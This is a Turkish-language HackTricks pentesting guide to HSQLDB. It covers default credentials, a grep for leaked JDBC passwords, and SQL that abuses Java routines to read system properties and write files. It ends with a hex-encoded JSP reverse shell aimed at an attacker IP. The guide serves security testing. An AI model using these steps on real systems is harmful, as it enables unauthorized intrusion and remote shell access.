9001 - Pentesting HSQLDB

Reading time: 3 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

HSQLDB (HyperSQL DataBase), Java ile yazılmış önde gelen SQL ilişkisel veritabanı sistemidir. Bellek içi ve disk tabanlı tablolarla küçük, hızlı çok iş parçacıklı ve işlem tabanlı bir veritabanı motoru sunar ve gömülü ve sunucu modlarını destekler.

Varsayılan port: 9001

text
9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

Varsayılan Ayarlar

Bu hizmetin varsayılan olarak muhtemelen bellekte çalıştığını veya localhost'a bağlı olduğunu unutmayın. Eğer bunu bulduysanız, muhtemelen başka bir hizmeti istismar ettiniz ve ayrıcalıkları artırmaya çalışıyorsunuzdur.

Varsayılan kimlik bilgileri genellikle sa ve boş bir şifre ile gelir.

Eğer başka bir hizmeti istismar ettiyseniz, olası kimlik bilgilerini aramak için

text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

Not edin, veritabanı adını dikkatlice not alın - bağlanmak için buna ihtiyacınız olacak.

Bilgi Toplama

DB örneğine bağlanmak için HSQLDB'yi indirerek hsqldb/lib/hsqldb.jar dosyasını çıkarın. GUI uygulamasını (eww) java -jar hsqldb.jar komutuyla çalıştırın ve keşfedilen/zayıf kimlik bilgilerini kullanarak örneğe bağlanın.

Bağlantı URL'sinin uzaktan bir sistem için şöyle görüneceğini unutmayın: jdbc:hsqldb:hsql://ip/DBNAME.

Hileler

Java Dil Rutinleri

HSQLDB'den Java sınıfının statik yöntemlerini çağırabiliriz. Çağrılan sınıfın uygulamanın classpath'inde olması gerektiğini unutmayın.

JRT'ler fonksiyonlar veya prosedürler olabilir. Fonksiyonlar, Java yöntemi bir veya daha fazla SQL uyumlu ilkel değişken döndürdüğünde SQL ifadeleri aracılığıyla çağrılabilir. VALUES ifadesi kullanılarak çağrılırlar.

Çağırmak istediğimiz Java yöntemi void döndürüyorsa, CALL ifadesi ile çağrılan bir prosedür kullanmamız gerekir.

Java Sistem Özelliklerini Okuma

Fonksiyon oluştur:

text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

Fonksiyonu çalıştır:

text
VALUES(getsystemproperty('user.name'))

Aşağıda bir sistem özellikleri listesi bulabilirsiniz.

Dosyaya İçerik Yazma

Hex kodlu öğeleri diske yazmak için uygulamanın sınıf yoluna otomatik olarak yüklenen JDK'da bulunan com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename Java gadget'ını özel bir prosedür aracılığıyla kullanabilirsiniz. Maksimum boyutun 1024 bayt olduğunu unutmayın.

Prosedürü oluşturun:

text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

Prosedürü çalıştır:

text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin